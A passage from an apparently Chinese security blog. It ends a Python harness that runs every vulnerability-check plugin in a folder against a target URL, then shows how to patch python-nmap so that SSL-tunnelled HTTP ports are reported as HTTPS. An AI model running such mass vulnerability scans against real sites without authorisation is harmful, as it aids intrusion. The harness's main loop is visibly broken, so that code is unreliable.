        return self.resultQueue.get(*args, **kwds)
"""
lst=os.listdir(os.getcwd())
pocList =(','.join(c.strip('.py') for c in lst if os.path.isfile(c) and c.endswith('.py'))).split(',')
for line in pocList:
    try:
        #print line
        xxoo = importlib.import_module(line)
        xxoo.curl = miniCurl.Curl()
        xxoo.security_hole = security_hole
        xxoo.task_push = task_push
        xxoo.util =util
        xxoo.security_warning = security_warning
        xxoo.security_note = security_note
        xxoo.security_info = security_info
        xxoo.time = time
        xxoo.audit('http://0day5.com')
    except Exception as e:
        print line,e
"""

def bugscan(line,url):
    #print line,url
    try:
        xxoo = importlib.import_module(line)
        xxoo.curl = miniCurl.Curl()
        xxoo.security_hole = security_hole
        xxoo.task_push = task_push
        xxoo.util =util
        xxoo.security_warning = security_warning
        xxoo.security_note = security_note
        xxoo.security_info = security_info
        xxoo.time = time
        xxoo.audit(url)
    except Exception as e:
        #print line,e
        pass

def main(url):
    wm = WorkManager(20)
    lst=os.listdir(os.getcwd())
    pocList =(','.join(c.strip('.py') for c in lst if os.path.isfile(c) and c.endswith('.py'))).split(',')
    for line in pocList:
        if 'apa' not in line:
    wm.start()
    wm.wait_for_complete()
start = time.time()
main('http://0day5.com/')
print time.time()-start

准确率堪忧啊,仅供参考

使用python-nmap不出https踩到的坑

发布时间:September 1, 2016 // 分类:工作日志,运维工作,开发笔记,linux,windows,python,生活琐事 // No Comments

今天在使用python-nmap来进行扫描入库的时候发现https端口硬生生的给判断成了http

仔细测试了好几次都是这样子。后来果断的不服气,仔细看了下扫描的参数。发现python-nmap调用的时候会强制加上-ox -这个参数

正常扫描是

nmap 45.33.49.119 -p T:443 -Pn -sV --script=banner

然而经过python-nmap以后就是

nmap -oX - 45.33.49.119 -p T:443 -Pn -sV --script=banner
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE nmaprun>
<?xml-stylesheet href="file:///usr/local/bin/../share/nmap/nmap.xsl" type="text/xsl"?>
<!-- Nmap 7.12 scan initiated Thu Sep  1 00:02:07 2016 as: nmap -oX - -p T:443 -Pn -sV -&#45;script=banner 45.33.49.119 -->
<nmaprun scanner="nmap" args="nmap -oX - -p T:443 -Pn -sV -&#45;script=banner 45.33.49.119" start="1472659327" startstr="Thu Sep  1 00:02:07 2016" version="7.12" xmloutputversion="1.04">
<scaninfo type="connect" protocol="tcp" numservices="1" services="443"/>
<verbose level="0"/>
<debugging level="0"/>
<host starttime="1472659328" endtime="1472659364"><status state="up" reason="user-set" reason_ttl="0"/>
<address addr="45.33.49.119" addrtype="ipv4"/>
<hostnames>
<hostname name="ack.nmap.org" type="PTR"/>
</hostnames>
<ports><port protocol="tcp" portid="443"><state state="open" reason="syn-ack" reason_ttl="0"/><service name="http" product="Apache httpd" version="2.4.6" extrainfo="(CentOS)" tunnel="ssl" method="probed" conf="10"><cpe>cpe:/a:apache:http_server:2.4.6</cpe></service><script id="http-server-header" output="Apache/2.4.6 (CentOS)"><elem>Apache/2.4.6 (CentOS)</elem>
</script></port>
</ports>
<times srtt="191238" rttvar="191238" to="956190"/>
</host>
<runstats><finished time="1472659364" timestr="Thu Sep  1 00:02:44 2016" elapsed="36.65" summary="Nmap done at Thu Sep  1 00:02:44 2016; 1 IP address (1 host up) scanned in 36.65 seconds" exit="success"/><hosts up="1" down="0" total="1"/>
</runstats>
</nmaprun>

经过格式化以后看到的内容是

其中的一个参数tunnel.但是看了下https://bitbucket.org/xael/python-nmap/raw/8ed37a2ac20d6ef26ead60d36f739f4679fcdc3e/nmap/nmap.py这里的内容。发现没有与之关联的。

for dport in dhost.findall('ports/port'):
                # protocol
                proto = dport.get('protocol')
                # port number converted as integer
                port =  int(dport.get('portid'))
                # state of the port
                state = dport.find('state').get('state')
                # reason
                reason = dport.find('state').get('reason')
                # name, product, version, extra info and conf if any
                name = product = version = extrainfo = conf = cpe = ''
                for dname in dport.findall('service'):
                    name = dname.get('name')
                    if dname.get('product'):
                        product = dname.get('product')
                    if dname.get('version'):
                        version = dname.get('version')
                    if dname.get('extrainfo'):
                        extrainfo = dname.get('extrainfo')
                    if dname.get('conf'):
                        conf = dname.get('conf')

                    for dcpe in dname.findall('cpe'):
                        cpe = dcpe.text
                # store everything
                if not proto in list(scan_result['scan'][host].keys()):
                    scan_result['scan'][host][proto] = {}

                scan_result['scan'][host][proto][port] = {'state': state,
                                                          'reason': reason,
                                                          'name': name,
                                                          'product': product,
                                                          'version': version,
                                                          'extrainfo': extrainfo,
                                                          'conf': conf,
                                                          'cpe': cpe}

试想下如果把name以及tunnel取出来同时匹配不就好了。于是对此进行修改。410-440行

                name = product = version = extrainfo = conf = cpe = tunnel =''
                for dname in dport.findall('service'):
                    name = dname.get('name')
                    if dname.get('product'):
                        product = dname.get('product')
                    if dname.get('version'):
                        version = dname.get('version')
                    if dname.get('extrainfo'):
                        extrainfo = dname.get('extrainfo')
                    if dname.get('conf'):
                        conf = dname.get('conf')
                    if dname.get('tunnel'):
                        tunnel = dname.get('tunnel')

                    for dcpe in dname.findall('cpe'):
                        cpe = dcpe.text
                # store everything
                if not proto in list(scan_result['scan'][host].keys()):
                    scan_result['scan'][host][proto] = {}

                scan_result['scan'][host][proto][port] = {'state': state,
                                                          'reason': reason,
                                                          'name': name,
                                                          'product': product,
                                                          'version': version,
                                                          'extrainfo': extrainfo,
                                                          'conf': conf,
                                                          'tunnel':tunnel,
                                                          'cpe': cpe}

还有在654-670行里面增加我们添加的tunnel

        csv_ouput = csv.writer(fd, delimiter=';')
        csv_header = [
            'host',
            'hostname',
            'hostname_type',
            'protocol',
            'port',
            'name',
            'state',
            'product',
            'extrainfo',
            'reason',
            'version',
            'conf',
            'tunnel',
            'cpe'
            ]

然后我们import这个文件。在获取的内容里面进行判断.如果namehttp的同时tunnelssl,则判断为https

        for targetHost in scanner.all_hosts():
            if scanner[targetHost].state() == 'up' and scanner[targetHost]['tcp']:
                for targetport in scanner[targetHost]['tcp']:
                    #print(scanner[targetHost]['tcp'][int(targetport)])
                    if scanner[targetHost]['tcp'][int(targetport)]['state'] == 'open' and scanner[targetHost]['tcp'][int(targetport)]['product']!='tcpwrapped':
                        if scanner[targetHost]['tcp'][int(targetport)]['name']=='http' and scanner[targetHost]['tcp'][int(targetport)]['tunnel'] == 'ssl':
                            scanner[targetHost]['tcp'][int(targetport)]['name'] = 'https'
                        else:
                            scanner[targetHost]['tcp'][int(targetport)]['name'] = scanner[targetHost]['tcp'][int(targetport)]['name']
                        print(domain+'\t'+targetHosts+'\t'+str(targetport) + '\t' + scanner[targetHost]['tcp'][int(targetport)]['name'] + '\t' + scanner[targetHost]['tcp'][int(targetport)]['product']+scanner[targetHost]['tcp'][int(targetport)]['version'])
                        #if scanner[targetHost]['tcp'][int(targetport)]['name'] in ["https","http"]:

改造后的文件扫描结果

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...